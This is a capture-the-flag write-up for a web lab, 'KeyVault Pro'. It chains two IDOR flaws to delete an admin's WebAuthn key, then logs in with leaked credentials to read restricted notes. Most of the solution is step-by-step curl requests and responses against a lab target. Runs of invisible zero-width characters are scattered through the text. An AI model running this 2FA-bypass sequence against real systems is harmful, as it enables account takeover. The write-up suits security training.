Lab 23 — KeyVault Pro — IDOR in 2FA Device Removal

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-04-30 | Status: Solved Techniques: 2fa_bypass_via_device_removal, api_endpoint_enumeration, credential_leak_in_announcements, idor_device_deletion, idor_user_enumeration

Summary

Task: enterprise credential management platform with WebAuthn 2FA; team API over-exposes security device info and device removal lacks ownership validation. Solution: chain two IDORs — enumerate admin's WebAuthn credential_id via team API, delete admin's 2FA device as low-privilege user, login with leaked admin credentials, access protected notes containing the flag.

Lab 23 — KeyVault Pro — IDOR in 2FA Device Removal — Hackadvisor

Description

KeyVault Pro is an enterprise credential management platform built by SecureNest Solutions. The application allows teams to securely store API keys, database credentials, and other secrets in organized vaults. It features role-based access control, WebAuthn-based two-factor authentication, team management, and comprehensive audit logging.

The platform recently rolled out WebAuthn security key support as part of a company-wide initiative to strengthen account security. All team members are encouraged to register hardware security keys for two-factor authentication, and several key personnel — including the platform administrator — have already enrolled their devices.

Your objective is to find and exploit a vulnerability in the application that allows you to access sensitive information that should be restricted to the admin user. Look carefully at how the platform manages security devices and user profiles.

Hint: Take a close look at the team member profiles. Some API responses contain more information than what's displayed on the page — use your browser's developer tools to inspect the raw JSON data returned by the team profile API. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: An enterprise credential vault with WebAuthn 2FA. The goal is to exploit access control flaws to reach admin-only protected notes containing the flag.

Analysis

1. Application reconnaissance:

   • Registered a new account (testuser123 / Password123!) at /register
   • Explored the dashboard: vaults, team members, security settings, profile
   • The /team page lists 8+ team members including admin user "Marcus Webb"

2. Team API over-exposure (IDOR #1):

   • The team page JavaScript calls fetch('/api/team/' + userId)
   • Requesting GET /api/team/1 as any authenticated user returns the admin's full profile, including WebAuthn security device details not shown in the UI:

    json read-only • copy allowed Copy
   {
     "user": {
       "id": 1,
       "username": "admin",
       "full_name": "Marcus Webb",
       "role": "admin",
       "security": {
         "two_factor_enabled": true,
         "device": {
           "id": 1,
           "credential_id": "aGk1X3NlY3VyaXR5X2tleV9hZG1pbl9tYXJjdXM",
           "device_name": "YubiKey 5 NFC"
         }
       }
     }
   }

   • The credential_id is the key to the next step — it's the identifier used by the device removal endpoint ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

3. Device removal endpoint discovery:

   • The security settings page (/settings/security) reveals the device management API
   • DELETE /api/security/devices/{credentialId} removes a registered security key
   • Critical flaw: the endpoint only checks if the user is authenticated, NOT if the credential belongs to the requesting user

4. Information disclosure in announcements:

   • GET /api/announcements returns maintenance messages
   • One announcement leaks admin recovery credentials: admin / admin2024! ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

5. Team member enumeration:

   ID	Username	Role	2FA Status
   1	admin	admin	Enabled (YubiKey 5 NFC)
   2	jchen	lead	Enabled (Titan Security Key)
   3	dkumar	developer	Disabled
   4	smartinez	analyst	Disabled
   5	twright	manager	Disabled
   6	lpatel	developer	Disabled
   7	rjohnson	security	Enabled
   8	anakamura	qa	Disabled

Solution

Step 1 — Register an account

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

 bash read-only • copy allowed Copy
curl -X POST https://TARGET/register \
  -d "username=testuser123&password=Password123!&confirm_password=Password123!&full_name=Test+User&email=test@test.com" \
  -c cookies.txt -L

Step 2 — Login and get session

 bash read-only • copy allowed Copy
curl -X POST https://TARGET/login \
  -d "username=testuser123&password=Password123!" \
  -c cookies.txt -L

Step 3 — Enumerate admin's WebAuthn credential via team API (IDOR #1)

 bash read-only • copy allowed Copy
# Get admin's profile — note the credential_id in the security section
curl -b cookies.txt https://TARGET/api/team/1

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Response reveals credential_id: aGk1X3NlY3VyaXR5X2tleV9hZG1pbl9tYXJjdXM — the admin's YubiKey 5 NFC.

Step 4 — Delete admin's 2FA device (IDOR #2 — Critical)

 bash read-only • copy allowed Copy
# As our low-privilege user, delete the admin's security key
curl -X DELETE -b cookies.txt \
  https://TARGET/api/security/devices/aGk1X3NlY3VyaXR5X2tleV9hZG1pbl9tYXJjdXM

Response:

 json read-only • copy allowed Copy
{"success": true, "message": "Security key removed successfully."}

Verify by re-checking admin's profile:

 bash read-only • copy allowed Copy
curl -b cookies.txt https://TARGET/api/team/1
# Now shows: "two_factor_enabled": false

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 5 — Get admin credentials from announcements

 bash read-only • copy allowed Copy
curl -b cookies.txt https://TARGET/api/announcements
# Leaked credentials: admin / admin2024!

Step 6 — Login as admin (2FA now disabled)

 bash read-only • copy allowed Copy
curl -X POST https://TARGET/login \
  -d "username=admin&password=admin2024!" \
  -c admin_cookies.txt -L

With 2FA disabled, login succeeds with just username and password — no WebAuthn challenge.

Step 7 — Access admin-only protected notes

 bash read-only • copy allowed Copy
curl -b admin_cookies.txt https://TARGET/admin/notes

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The "Master Recovery Key" note (classification: restricted) contains the flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍